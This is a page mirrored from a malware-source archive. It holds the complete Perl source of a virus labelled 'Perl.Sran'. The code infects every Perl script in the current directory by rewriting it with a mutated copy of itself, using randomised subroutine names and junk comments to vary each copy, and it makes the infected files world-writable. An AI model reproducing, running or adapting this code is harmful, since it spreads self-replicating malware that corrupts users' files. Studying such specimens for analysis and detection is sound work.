mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
44 lines
1.2 KiB
Plaintext
44 lines
1.2 KiB
Plaintext
|
Perl.Sran
|
||
|
|
|
||
|
|
qwerty();#
|
||
|
|
|
||
|
|
sub qwerty {
|
||
|
|
|
||
|
|
a: while (<*.pl>)
|
||
|
|
{
|
||
|
|
my $oF = "qwerty";
|
||
|
|
my $tN = "$ENV{\"HOME\"}/tmp/".crypt($_, $_), $oN = "./$_", $nF = crypt($_, $oF);
|
||
|
|
|
||
|
|
open (WE, "<$0");
|
||
|
|
open (IFILE, "<$_");
|
||
|
|
open (TEMP, ">$tN");
|
||
|
|
|
||
|
|
while (<IFILE>)
|
||
|
|
{
|
||
|
|
chomp;
|
||
|
|
if (/\#!Sran/) { unlink ($tN); next a }
|
||
|
|
elsif (!/#!\//) { print TEMP "$_\n" }
|
||
|
|
else { print TEMP "$_ #!Sran\n$nF();\n" }
|
||
|
|
}
|
||
|
|
|
||
|
|
while (<WE>)
|
||
|
|
{
|
||
|
|
$st = "";
|
||
|
|
|
||
|
|
s/#[0-9].*/$st/;
|
||
|
|
if (/sub $oF/ || /my \$oF =/) { $cW = 1; s/$oF/$nF/}
|
||
|
|
next if (/#!\/usr\/bin\/perl/ || /qwerty();#/ || !$cW);
|
||
|
|
if (int(rand(2))) { $st=" #".crypt($_, rand(256)) }
|
||
|
|
else {$st = ""}
|
||
|
|
|
||
|
|
chomp;
|
||
|
|
print TEMP "$_$st\n";
|
||
|
|
}
|
||
|
|
|
||
|
|
unlink ($oN);
|
||
|
|
rename ($tN, $oN);
|
||
|
|
chmod (0777, $oN);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|